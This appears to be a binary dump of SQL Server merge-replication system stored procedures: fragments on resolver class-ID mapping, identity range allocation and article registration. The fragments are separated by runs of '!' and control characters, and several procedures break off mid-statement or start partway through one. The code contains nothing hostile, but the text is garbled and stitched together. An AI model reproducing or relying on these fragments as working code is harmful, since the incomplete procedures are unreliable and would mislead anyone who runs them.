    declare @100additive_resolver_clsid nvarchar(60)
    declare @100average_resolver_clsid  nvarchar(60)
    declare @100download_resolver_clsid nvarchar(60)
    declare @100max_resolver_clsid      nvarchar(60)
    declare @100mergetxt_resolver_clsid nvarchar(60)
    declare @100min_resolver_clsid      nvarchar(60)
    declare @100subwins_resolver_clsid  nvarchar(60)
    declare @100upload_resolver_clsid   nvarchar(60)
    declare @100sp_resolver_clsid       nvarchar(60)

    declare @90additive_resolver_clsid  nvarchar(60)
    declare @90average_resolver_clsid   nvarchar(60)
    declare @90download_resolver_clsid  nvarchar(60)
    declare @90max_resolver_clsid       nvarchar(60)
    declare @90mergetxt_resolver_clsid  nvarchar(60)
    declare @90min_resolver_clsid       nvarchar(60)
    declare @90subwins_resolver_clsid   nvarchar(60)
    declare @90upload_resolver_clsid    nvarchar(60)
    declare @90sp_resolver_clsid        nvarchar(60)

    declare @80additive_resolver_clsid  nvarchar(60)
    declare @80average_resolver_clsid   nvarchar(60)
    declare @80download_resolver_clsid  nvarchar(60)
    declare @80max_resolver_clsid       nvarchar(60)
    declare @80mergetxt_resolver_clsid  nvarchar(60)
    declare @80min_resolver_clsid       nvarchar(60)
    declare @80subwins_resolver_clsid   nvarchar(60)
    declare @80upload_resolver_clsid    nvarchar(60)
    declare @80sp_resolver_clsid        nvarchar(60)

    select @additive_resolver_clsid = '{8FE7FF34-7C5D-4BE7-8056-ADB6D6F692DC}'
    select @average_resolver_clsid  = '{376F678E-4691-43E8-8AE7-DAD8CAA644EF}'
    select @download_resolver_clsid = '{3BB9F418-3407-4F5B-8DB3-9E9147C3A710}'
    select @max_resolver_clsid      = '{7365BF95-62E8-4B72-A0F7-E238FE413DB7}'
    select @mergetxt_resolver_clsid = '{9DCD5250-86BB-433D-8C1F-561460105CF0}'
    select @min_resolver_clsid      = '{93277AB4-C338-48B8-9A4A-CA5A32587AB7}'
    select @subwins_resolver_clsid  = '{77E52C5E-0016-4EDF-9391-8C07BFB668CE}'
    select @upload_resolver_clsid   = '{3D43EBE7-063C-4447-91E7-DE7A264C8441}'
    select @sp_resolver_clsid       = '{3BB074FA-0836-4A63-BE0C-AF49DDD42A1C}'

    select @100additive_resolver_clsid = '{D2CCB059-65DD-497B-8822-7660B7778DDF}'
    select @100average_resolver_clsid  = '{91DD61BF-D937-4A21-B0EF-36204A328439}'
    select @100download_resolver_clsid = '{9602B431-2937-4D51-8CC3-11F8AC1EC26D}'
    select @100max_resolver_clsid      = '{77209412-47CF-49AF-A347-DCF7EE481277}'
    select @100mergetxt_resolver_clsid = '{0045200C-9126-4432-BC9B-3186D141EB5A}'
    select @100min_resolver_clsid      = '{2FF7564F-9D55-48C0-A4C1-C148076D9119}'
    select @100subwins_resolver_clsid  = '{E93406CC-5879-4143-B70B-29B385BA80C9}'
    select @100upload_resolver_clsid   = '{05614E0C-92A9-45F3-84A4-46C8E36424A9}'
    select @100sp_resolver_clsid       = '{D264B5C0-1300-471A-80C9-9C1FC34A3691}'

    select @90additive_resolver_clsid  = '{4B385BCE-190B-46c5-AEAB-51358A8E1CB6}'
    select @90average_resolver_clsid   = '{337754AA-CF6E-4be8-8F13-F6AC91524EDC}'
    select @90min_resolver_clsid       = '{464CBD74-3177-4593-ADC7-7F7AC6F29286}'
    select @90max_resolver_clsid       = '{D604B4B5-686B-4304-9613-C4F82B527B10}'
    select @90download_resolver_clsid  = '{B57463F2-6ACE-4206-B600-CAB83A0847D2}'
    select @90mergetxt_resolver_clsid  = '{B451ED26-AB0C-4230-B989-F2959ECDDF22}'
    select @90subwins_resolver_clsid   = '{FF0EC373-ABAD-44dd-9ECC-9FB6BB55F54E}'
    select @90upload_resolver_clsid    = '{D6A60F76-F121-40e7-88A8-605BE6CE1EB5}'
    select @90sp_resolver_clsid        = '{87EC4491-1B75-4844-B7CF-090A1FB84BA6}'

    select @80additive_resolver_clsid   = '{08B0B2DB-3FB3-11D3-A4DE-00C04F610189}'
    select @80average_resolver_clsid    = '{08B0B2DC-3FB3-11D3-A4DE-00C04F610189}'
    select @80download_resolver_clsid   = '{08B0B2DD-3FB3-11D3-A4DE-00C04F610189}'
    select @80max_resolver_clsid        = '{08B0B2DE-3FB3-11D3-A4DE-00C04F610189}'
    select @80mergetxt_resolver_clsid   = '{08B0B2E1-3FB3-11D3-A4DE-00C04F610189}'
    select @80min_resolver_clsid        = '{08B0B2DF-3FB3-11D3-A4DE-00C04F610189}'
    select @80subwins_resolver_clsid    = '{08B0B2E0-3FB3-11D3-A4DE-00C04F610189}'
    select @80upload_resolver_clsid     = '{08B0B2E2-3FB3-11D3-A4DE-00C04F610189}'
    select @80sp_resolver_clsid         = '{08B0B2D6-3FB3-11D3-A4DE-00C04F610189}'
    

	-- Security check: User needs to be in at least one PAL
	if not exists (select * from dbo.sysmergepublications where 1 = {fn ISPALUSER(pubid)})
	begin
		return 1
	end
	

    if @resolver_clsid IS NULL
        return @resolver_clsid

    if @article_resolver IS NULL
        return NULL

    /* 
    ** We do not have new compatibility_level introduced from feature point of view in Denali. But
    ** for the com resolver class id, we need to do the conversion as well because side by side
    ** installation between Denali and previous version requires new class id used. Without this
    ** conversion the subscriber will get wrong class id and fail to register.
    */
    if @compatibility_level >= 11000000
        return @resolver_clsid

    if @compatibility_level >= 10000000
    begin
        select @resolver_clsid = 
        case @resolver_clsid
            when @additive_resolver_clsid then @100additive_resolver_clsid
            when @average_resolver_clsid then @100average_resolver_clsid
            when @download_resolver_clsid then @100download_resolver_clsid
            when @max_resolver_clsid then @100max_resolver_clsid
            when @mergetxt_resolver_clsid then @100mergetxt_resolver_clsid
            when @min_resolver_clsid then @100min_resolver_clsid
            when @subwins_resolver_clsid then @100subwins_resolver_clsid
            when @upload_resolver_clsid then @100upload_resolver_clsid
            when @sp_resolver_clsid then @100sp_resolver_clsid
            else @resolver_clsid 
        end
        return @resolver_clsid
    end

    if @compatibility_level >= 9000000
    begin
        select @resolver_clsid = 
        case @resolver_clsid
            when @additive_resolver_clsid then @90additive_resolver_clsid
            when @average_resolver_clsid then @90average_resolver_clsid
            when @download_resolver_clsid then @90download_resolver_clsid
            when @max_resolver_clsid then @90max_resolver_clsid
            when @mergetxt_resolver_clsid then @90mergetxt_resolver_clsid
            when @min_resolver_clsid then @90min_resolver_clsid
            when @subwins_resolver_clsid then @90subwins_resolver_clsid
            when @upload_resolver_clsid then @90upload_resolver_clsid
            when @sp_resolver_clsid then @90sp_resolver_clsid
            -- new resolvers that exist in Yukon but not yet in Shiloh
            else @resolver_clsid 
        end
        return @resolver_clsid
    
    end
        
    -- 8.0 merge agent needs to map CLSIDs from all resolvers it has in common with 9.0
    if @compatibility_level >= 8000000
    begin
        select !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
Z<	v?S/*
** When calling from the wrapper stored procedure, we make sure that there is one and 
** only one of the two input SP is NULL. Therefore, we do no checking here.
*/
create procedure sys.sp_MSadjustmergeidentity 
@publication		sysname = NULL,
@qualified_table_name	nvarchar(300) = NULL
AS

declare @db_name sysname
declare @pubid uniqueidentifier
declare @pub_identity_range bigint
declare @objid int
declare @retcode int
declare @identity_range bigint
declare @identity_support int
declare @artid uniqueidentifier
declare @ident_current numeric(38,0)
declare @ident_increment numeric(38,0)
declare @tablelevel	bit
declare @range_begin numeric(38,0)
declare @range_end numeric(38,0)
declare @next_range_begin numeric(38,0)
declare @next_range_end numeric(38,0)
declare @max_used numeric(38,0)
declare @max_range numeric(38,0)
declare @ranges_to_be_reset int
declare @raise_warning bit

select @db_name=db_name()
select @pubid = newid()
select @objid = 0

if (@publication is NULL and @qualified_table_name is NULL) or 
    (@publication is not NULL and @qualified_table_name is not NULL)
begin
    raiserror('internal error on nullability', 16, -1)
    return (1)
end

if @qualified_table_name is not NULL
begin
    select @tablelevel = 1
    select @objid = object_id(@qualified_table_name)
end
else
begin
    select @tablelevel = 0
    select @pubid = pubid from dbo.sysmergepublications 
        where name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=@db_name
end

select @raise_warning = 1

if exists (select * from dbo.sysmergearticles where identity_support<>0 and 
    ((@tablelevel=0 and pubid=@pubid) or (@tablelevel=1 and objid=@objid)))
begin
    declare one_article CURSOR LOCAL FAST_FORWARD FOR 
        select DISTINCT artid from dbo.sysmergearticles where identity_support<>0 and
            ((@tablelevel=0 and pubid=@pubid) or (@tablelevel=1 and objid=@objid))
    open one_article
    fetch one_article into @artid
    while (@@fetch_status<>-1)
    begin
        -- check if this is a re-publisher. If republisher cannot use this proc to adjustmergeidentity
        -- need to merge with the root publisher to adjust the identity range.
        if exists (select pubid from dbo.sysmergearticles where artid=@artid and sys.fn_MSmerge_islocalpubid(pubid)=0)
        begin
            if @raise_warning = 1
            begin
                raiserror(20679, 11, -1)
                select @raise_warning = 0
            end
            goto NEXT_ARTICLE
        end

        select top 1 @objid=objid from dbo.sysmergearticles where artid=@artid

        exec @retcode = sys.sp_MSget_qualified_name @objid, @qualified_table_name output
        if @@error<>0 or @retcode<>0
            return 1
            
        select @ident_current = ISNULL(IDENT_CURRENT(@qualified_table_name), IDENT_SEED(@qualified_table_name))
        select @ident_increment = IDENT_INCR(@qualified_table_name)

        -- now check how much of the identity allocated has been used by the publisher
        -- if this article is published in multiple publications the pubid we must use
        -- give by the following query
        if @tablelevel=1
        begin
            select @pubid = NULL
            select @max_used = NULL
            select @pubid = subid, @max_used = max_used from dbo.MSmerge_identity_range 
                where artid=@artid and is_pub_range=1 and (sys.fn_MSmerge_islocalpubid(subid)=1)
            if @pubid is NULL or @max_used is NULL
            begin
                raiserror(20663, 16, -1)
                return (1)
            end
        end
        else
        begin
            select @max_used=NULL
            select @max_used = max_used from dbo.MSmerge_identity_range where artid=@artid and subid=@pubid and is_pub_range=1
            if @max_used is NULL
            begin
                raiserror(20663, 16, -1)
                return (1)
            end
        end

        -- begin transaction in which identity range will be updated
        begin tran
        save tran sp_MSadjustpubidentity
        
        select @pub_identity_range=pub_range, @identity_range=range from dbo.sysmergearticles where artid=@artid and pubid=@pubid

        -- get the max_used value again within the transaction
        select @max_used = max_used, @max_range=range_end from dbo.MSmerge_identity_range with (updlock, rowlock)
            where artid=@artid and subid=@pubid and is_pub_range=1

        -- if the following is true, something is definitely wrong. Basically max_used should have been 
        -- updated everytime a new range is allocated. So just reset the max_used correctly.
        if ((@ident_increment > 0) and (@ident_current > @max_used)) or
           ((@ident_increment < 0) and (@ident_current < @max_used))
        begin
            --raiserror(20659, 11, -1, @qualified_table_name)
            update dbo.MSmerge_identity_range 
                set max_used = @ident_current 
                where artid=@artid and subid=@pubid and is_pub_range=1
            if @@error<>0
            begin
                goto FAILURE
            end
            select @max_used = @ident_current
        end

        select @range_begin = range_begin,
               @range_end = range_end,
               @next_range_begin = next_range_begin,
               @next_range_end = next_range_end
            from dbo.MSmerge_identity_range where artid=@artid and subid=@pubid and is_pub_range=0

        -- the id range check constraint refresh would have done a dbcc reseed only if both ranges
        -- are being refreshed. However we can be in a situation when (for positive increment)
        -- range_end <= ident_current < next_range_begin. In that case we need to do a reseed.
        if (@ident_increment > 0 and @range_end <= @ident_current and @ident_current < @next_range_begin) or
           (@ident_increment < 0 and @ident_current > @next_range_begin and @range_end >= @ident_current)
        begin
            DBCC CHECKIDENT(@qualified_table_name, RESEED, @next_range_begin) with no_infomsgs
            select @ident_current = IDENT_CURRENT(@qualified_table_name)
        end
        
        -- check which range is in use and which needs to be reset.
        if @ident_increment > 0
        begin
            if @ident_current >= @next_range_end 
                -- both ranges need to be reset.
                select @ranges_to_be_reset = 2
            else if @ident_current >= @range_end
                -- one range needs to be reset
                select @ranges_to_be_reset = 1
            else
                -- no reset required
                select @ranges_to_be_reset = 0
        end
        else
        begin
            if @ident_current <= @next_range_end 
                -- both ranges need to be reset.
                select @ranges_to_be_reset = 2
            else if @ident_current <= @range_end
                -- one range needs to be reset
                select @ranges_to_be_reset = 1
            else
                -- no reset required
                select @ranges_to_be_reset = 0
        end


        if @ranges_to_be_reset = 0
        begin
            commit tran
            goto NEXT_ARTICLE
        end
        
        if @ranges_to_be_reset = 1
        begin
            select @range_begin = @next_range_begin
            select @range_end = @next_range_end
            select @next_range_begin = @max_used
            select @next_range_end = @next_range_begin + @identity_range -- in yukon use sub range for publisher's local allocation
        end
        if @ranges_to_be_reset = 2
        begin
            select @range_begin = @max_used
            select @range_end = @range_begin + @identity_range -- in yukon use sub range for publisher's local allocation
            select @next_ran!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
<2vw.create procedure sys.sp_MSget_new_idrange
    @qualified_object_name nvarchar(300),
    @artid uniqueidentifier,
    @range_begin numeric(38,0) output,
    @range_end numeric(38,0) output,
    @next_range_begin numeric(38,0) output,
    @next_range_end numeric(38,0) output,
    @range_type tinyint, -- 1=publisher range, 2=subscriber range
    @ranges_needed tinyint -- 0=none needed, 1=one range needed, 2=both ranges needed
as
    declare @subid uniqueidentifier
    declare @pubid uniqueidentifier
    declare @pub_range bigint
    declare @sub_range bigint
    declare @identity_support int
    declare @artname sysname
    declare @max_used numeric(38,0)
    declare @is_republisher bit
    declare @range bigint
    declare @pub_range_begin numeric(38,0)
    declare @pub_range_end numeric(38,0)
    declare @pub_next_range_begin numeric(38,0)
    declare @pub_next_range_end numeric(38,0)
    declare @ident_increment numeric(38,0)
    declare @ident_current numeric(38,0)
    declare @retcode int
    declare @root_publisher sysname

    if @ranges_needed=0
        return 0

    select @pubid = NULL
    select @subid=subid from dbo.MSmerge_identity_range where artid=@artid and is_pub_range=1 and (sys.fn_MSmerge_islocalsubid(subid)=1)
    if @subid is NULL
    begin
        raiserror(20663, 16, -1)
        return 1
    end

    if (sys.fn_MSmerge_islocalpubid(@subid)=0)
    begin
        select @pubid = pubid from dbo.sysmergearticles where artid=@artid and (sys.fn_MSmerge_islocalpubid(pubid)=1)
        if @pubid is NULL
        begin
            raiserror(20663, 16, -1)
            return 1
        end
        select @root_publisher = publisher from dbo.sysmergepublications where pubid = @pubid
    end
    else
        select @pubid = @subid

    select @artname=name, @pub_range=pub_range, @sub_range=range, @identity_support=identity_support 
        from dbo.sysmergearticles where artid=@artid and pubid=@pubid
    if @identity_support=0 or @pub_range is NULL or @sub_range is NULL
    begin
        raiserror(20667, 16, -1, @artname)
        return 1
    end

    if @range_type=1
        select @range=@pub_range
    else
        select @range=@sub_range

    if exists (select pubid from dbo.sysmergearticles where artid=@artid and pubid<>@pubid and sys.fn_MSmerge_islocalpubid(pubid)=0)
        select @is_republisher=1
    else
        select @is_republisher=0

    select @ident_increment = IDENT_INCR(@qualified_object_name)

    
    begin tran
    save tran MSgetnewidrange

    if @is_republisher=0
    begin
        select @max_used=max_used, 
               @pub_range_begin=range_begin, 
               @pub_range_end=range_end 
           from dbo.MSmerge_identity_range with (updlock, rowlock) where artid=@artid and subid=@pubid and is_pub_range=1
        if @pub_range_begin is NULL or @pub_range_end is NULL or @max_used is NULL
        begin
            raiserror(20663, 16, -1)
            goto FAILURE
        end

        -- validate that the max(or min) identity value used in the table
        -- is not higher than what the table has as the max_used.
        select @ident_current = IDENT_CURRENT(@qualified_object_name)
        if @ident_current is not NULL
        begin
            if ((@ident_increment > 0) and (@ident_current > @max_used)) or
               ((@ident_increment < 0) and (@ident_current < @max_used))
            begin
                --raiserror(20659, 11, -1, @qualified_object_name)
                update dbo.MSmerge_identity_range set max_used = @ident_current where artid=@artid and subid=@pubid and is_pub_range=1
                if @@error<>0
                begin
                    goto FAILURE
                end
                select @max_used = @ident_current
            end
        end

        if @ranges_needed = 1
        begin
            select @range_begin = @next_range_begin
            select @range_end = @next_range_end
            select @next_range_begin = @max_used
            select @next_range_end = @next_range_begin + @range
        end
        if @ranges_needed = 2
        begin
            select @range_begin = @max_used
            select @range_end = @range_begin + @range
            select @next_range_begin = @range_end
            select @next_range_end = @next_range_begin + @range
        end

        if ((@ident_increment > 0) and (@next_range_end > @pub_range_end)) or
           ((@ident_increment < 0) and (@next_range_end < @pub_range_end))
        begin
            -- we should never hit this condition when this is the root publisher
            raiserror(20668, 16, -1)
            goto FAILURE
        end
        
        -- update the max_used for the publisher's identity range
        update dbo.MSmerge_identity_range set max_used = @next_range_end where subid=@pubid and artid=@artid and is_pub_range=1
        if @@error <> 0
        begin
            raiserror(21197, 16, -1)
            goto FAILURE
        end
        -- now we are done. The caller of this proc is responsible for updating dbo.MSmerge_identity_range for the subscriber
        -- for which this new range was allocated.
    end
    else
    begin
        select @pub_range_begin = range_begin,
               @pub_range_end = range_end,
               @pub_next_range_begin = next_range_begin,
               @pub_next_range_end = next_range_end,
               @max_used = max_used
            from dbo.MSmerge_identity_range with (updlock, rowlock) where artid=@artid and subid=@subid and is_pub_range=1
        if @pub_range_begin is NULL or @pub_next_range_begin is NULL or @max_used is NULL
        begin
            raiserror(20662, 16, -1, @root_publisher)
            goto FAILURE
        end
        -- convert the range and republisher's allocations to absolute values so that
        -- the comparisons can be done the same way whether the we are using positive 
        -- or negative increment
        if @ident_increment < 0
        begin
            select @pub_range_begin = -1*@pub_range_begin
            select @pub_range_end = -1*@pub_range_end
            select @pub_next_range_begin = -1*@pub_next_range_begin
            select @pub_next_range_end = -1*@pub_next_range_end
            select @max_used = -1*@max_used
            select @range = -1*@range
        end
        
        if @ranges_needed=1
        begin
            select @range_begin = @next_range_begin 
            select @range_end = @next_range_end
            exec @retcode=sys.sp_MSallocate_one_idrange 
                                    @pub_range_begin, 
                                    @pub_range_end, 
                                    @pub_next_range_begin, 
                                    @pub_next_range_end, 
                                    @range,
                                    @max_used output, 
                                    @next_range_begin output, 
                                    @next_range_end output
            if @@error<>0 or @retcode<>0
            begin
                raiserror(21197, 16, -1)
                goto FAILURE
            end

            if @ident_increment < 0
            begin
                select @max_used = -1*@max_used
                select @next_range_begin = -1*@next_range_begin
                select @next_range_end = -1*@next_range_end
            end

            -- update the max_used for the republisher's identity range
            update dbo.MSmerge_identity_range set max_used = @max_used where subid=@subid and artid=@artid and is_pub_range=1
            if @@error <> 0
            begin
                raiserror(21197, 16, -1)
                goto FAILURE
            end
            -- now we are done. The caller of this proc is responsible for updating dbo.MSmerge_identity_range for the subscriber
            -- for which this new !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
Z?
d	w.range was allocated.
        end
        if @ranges_needed=2
        begin
            exec @retcode=sys.sp_MSallocate_one_idrange 
                                    @pub_range_begin, 
                                    @pub_range_end, 
                                    @pub_next_range_begin, 
                                    @pub_next_range_end, 
                                    @range,
                                    @max_used output, 
                                    @range_begin output, 
                                    @range_end output
            if @@error<>0 or @retcode<>0
            begin
                raiserror(21197, 16, -1)
                goto FAILURE
            end
            --select @max_used=@max_used + abs(@ident_increment)
            exec @retcode=sys.sp_MSallocate_one_idrange 
                                    @pub_range_begin, 
                                    @pub_range_end, 
                                    @pub_next_range_begin, 
                                    @pub_next_range_end, 
                                    @range,
                                    @max_used output, 
                                    @next_range_begin output, 
                                    @next_range_end output
            if @@error<>0 or @retcode<>0
            begin
                raiserror(21197, 16, -1)
                goto FAILURE
            end

            if @ident_increment < 0
            begin
                select @max_used = -1*@max_used
                select @range_begin = -1*@range_begin
                select @range_end = -1*@range_end
                select @next_range_begin = -1*@next_range_begin
                select @next_range_end = -1*@next_range_end
            end

            -- update the max_used for the republisher's identity range
            update dbo.MSmerge_identity_range set max_used = @max_used where subid=@subid and artid=@artid and is_pub_range=1
            if @@error <> 0
            begin
                raiserror(21197, 16, -1)
                goto FAILURE
            end
            -- now we are done. The caller of this proc is responsible for updating dbo.MSmerge_identity_range for the subscriber
            -- for which this new range was allocated.
        end
    end

    commit tran
    return 0
    
FAILURE:
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRANSACTION MSgetnewidrange
        COMMIT TRANSACTION
    end
tntn
            art.artid,
            art.pubid,
            art.stream_blob_columns
    FROM    sysmergeextendedarticlesview art 
            inner join dbo.sysmergepublications pubs on art.pubid = pubs.pubid
            inner join sys.objects objects on objects.object_id = art.objid
            left outer join sys.objects syncobjects on art.sync_objid = syncobjects.object_id 
            inner join sys.schemas users1 on objects.schema_id = users1.schema_id
            left outer join sys.schemas users2 on syncobjects.schema_id = users2.schema_id
            WHERE art.name LIKE @article
                AND pubs.name LIKE @publication
                AND UPPER(pubs.publisher) = UPPER(publishingservername())
                AND pubs.publisher_db = db_name()
                and (1 = {fn ISPALUSER(pubs.pubid)} or
                     1 = is_member('db_owner') or
                     1 = isnull(is_member('replmonitor'),0))
            order by art.processing_order, isnull(art.nickname, @max_nickname+1), art.name
        
    update hma set hma.partition_options = 3
    from @helpmergearticle hma join dbo.sysmergearticles sma
    on hma.artid = sma.artid
    and hma.pubid = sma.pubid
    and sma.lightweight = 1
    and sma.well_partitioned_lightweight = 1
    
    if exists (select * from sys.objects where name = 'sysmergepartitioninfo')
    begin
        update hma set hma.partition_options = smpi.partition_options
        from @helpmergearticle hma join dbo.sysmergepartitioninfo smpi
        on hma.artid = smpi.artid
        and hma.pubid = smpi.pubid
    end


    declare @source_owner sysname
    declare @source_object sysname
    declare @identityrangemangementoption int
    declare @objid int
    declare @artid uniqueidentifier
    declare @status int
    declare #arts CURSOR LOCAL FAST_FORWARD FOR 
        select source_owner, source_object, identityrangemangementoption, name, artid, status from @helpmergearticle
    open #arts
    fetch #arts into @source_owner, @source_object, @identityrangemangementoption, @article, @artid, @status
    while (@@fetch_status <> -1)
    begin
        select @objid = object_id(quotename(@source_owner) + '.' + quotename(@source_object))
        if @identityrangemangementoption = 0 and
            exists (select * from sys.columns where object_id = @objid and 
                    is_identity = 1 and 
                    ColumnProperty(object_id, name, 'IsIdNotForRepl') = 1)
        begin
            update @helpmergearticle 
            set identityrangemangementoption = 2
            where source_owner = @source_owner and source_object = @source_object
        end

        -- pick only active articles - articles which have been prepared
        /*
        if @identityrangemangementoption = 1 and (@status = 2 or @status = 6)
        begin
            -- do the adjust identity range only if this is not a republisher of that article
            if not exists (select * from dbo.sysmergearticles where artid = @artid and sys.fn_MSmerge_islocalpubid(pubid)=0)
            begin
                -- adjust the identity range on the publisher for the article if needed
                exec @retcode = sys.sp_adjustpublisheridentityrange @table_name=@source_object, @table_owner=@source_owner
                if @retcode<>0 or @@error<>0
                begin
                    raiserror(20676, 11, -1, @article)
                end
            end
        end*/
        fetch #arts into @source_owner, @source_object, @identityrangemangementoption, @article, @artid, @status
    end
    close #arts
    deallocate #arts

    select * from @helpmergearticle order by id
    
    RETURN (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
=eyvHrowguidcol= preserve_rowguidcol
       from dbo.sysmergearticles where objid = @objid

    -- If that article is already in another publication, we reuse its preserve_rowguidcol.
    -- If the article is added the first time, we set preserve_rowguidcol depending
    -- on whether there already is a rowguidcol.
    if @preserve_rowguidcol is null
    begin
        if ObjectProperty(object_id(@qualified_name), 'tablehasrowguidcol') = 1
        begin
            set @preserve_rowguidcol= 1
        end
        else
        begin
            set @preserve_rowguidcol= 0
        end
    end

    if @snapshot_ready > 0
    begin
        /* 
        ** Add the guid column to the user table if needed, cause snapshot_ready>0 would imply
        ** this article has got a rowguid column. No need to add index, triggers, or procedures
        ** as snapshot run will take care of those.
        */
        execute @retcode = sys.sp_MSaddguidcolumn @source_owner, @source_object
        if @@ERROR <> 0 OR    @retcode <> 0  -- NOTE: new change
            goto FAILURE
        execute @retcode = sys.sp_MSaddguidindex @publication, @source_owner, @source_object
        if @@ERROR <> 0 OR @retcode <> 0
            goto FAILURE
    end
    
    --
    -- Need to change sys.columns status before generating sync procs/custom procs 
    -- because the status will be used to decide whether or not call set identity insert. Enable
    -- NFR property if identityrangemanagementoption is MANUAL or AUTO. If 
    -- identityrangemanagementoption is NONE then we will not explicity enable NFR.
    --
    -- This is to change identity column to 'not for replication' if not having been so already
    IF @identityrangemanagementoption in ('auto', 'manual' )
    begin
        select @colname = name
        from sys.columns
        where object_id = @objid and
            is_identity = 1 and -- is identity
            ColumnProperty(object_id, name, 'IsIdNotForRepl') = 0 -- No 'not for repl' property
        if @colname is not null
        begin
            -- Mark 'not for repl'
            EXEC %%ColumnEx(ObjectID = @objid, Name = @colname).SetIdentityNotForRepl(Value = 1)
            IF @@ERROR <> 0
                GOTO FAILURE
        end
    end

    select @statusid = 1  -- default status is inactive

    if @artid is NULL
    begin
        set @artid = newid()
        if @@ERROR <> 0
            goto FAILURE
        execute @retcode = sys.sp_MSgentablenickname @tablenick output, @replnick, @objid
        if @@ERROR <> 0 OR @retcode <> 0
            goto FAILURE
    end
    -- Clone the article properties if article has already been published (in a different pub)
    else
    begin
        /*
        ** Parameter Check:     @article, @publication.
        ** Check if the table already exists in this publication.
        */
        if exists (select * from dbo.sysmergearticles
            where pubid = @pubid AND artid = @artid)
        begin
            raiserror (21292, 16, -1, @source_object)
            goto FAILURE
        end
        
        /* Make sure that coltracking option matches */
        if exists (select * from dbo.sysmergearticles where artid = @artid and
                     column_tracking <> @column_tracking_id)
            begin
                raiserror (20030, 16, -1, @article)
                goto FAILURE
            end
                    
        /* Reuse the article nickname if article has already been published (in a different pub)*/
        select @tablenick = nickname from dbo.sysmergearticles where artid = @artid
        if @tablenick IS NULL
            goto FAILURE
            
        /* Make sure that @resolver_clsid matches the existing resolver_clsid */
        select @resolver_clsid_old = resolver_clsid from dbo.sysmergearticles where artid = @artid 
        if ((@resolver_clsid IS NULL AND @resolver_clsid_old IS NOT NULL) OR
            (@resolver_clsid IS NOT NULL AND @resolver_clsid_old IS NULL) OR
            (@resolver_clsid IS NOT NULL AND @resolver_clsid_old IS NOT NULL AND @resolver_clsid_old <> @resolver_clsid))
        begin
            raiserror (20037, 16, -1, @article)
            goto FAILURE
        end

        /* If publisher could be subscribing the article from another publisher. If so then select the missing_cols info from an existing entry. */

        select @missing_cols = 0x00
        select @missing_col_count = 0
        select @missing_cols = missing_cols,  @missing_col_count = missing_col_count from dbo.sysmergearticles 
            where artid = @artid and sys.fn_MSmerge_islocalpubid(pubid) = 0

        /* Insert to articles, copying some stuff from other article row */
        insert into dbo.sysmergearticles (name, type, objid, sync_objid, artid, description,
                pre_creation_command, pubid, nickname, column_tracking, status,
                creation_script, article_resolver,
                resolver_clsid, schema_option, 
                destination_object, destination_owner, subset_filterclause, view_type, resolver_info, gen_cur, 
                missing_cols, missing_col_count, excluded_cols, excluded_col_count, identity_support,
                before_image_objid, before_view_objid, verify_resolver_signature, allow_interactive_resolver, 
                fast_multicol_updateproc, check_permissions, processing_order, upload_options, published_in_tran_pub, before_upd_view_objid,
                delete_tracking, compensate_for_errors, pub_range, range, threshold, stream_blob_columns, preserve_rowguidcol)
            -- use top 1, distinct could return more than one matching row if status different on partitioned articles
            select top 1 @article, type, objid, @sync_objid, @artid, @description, @precmdid,
                @pubid, nickname, column_tracking, @statusid, @creation_script,
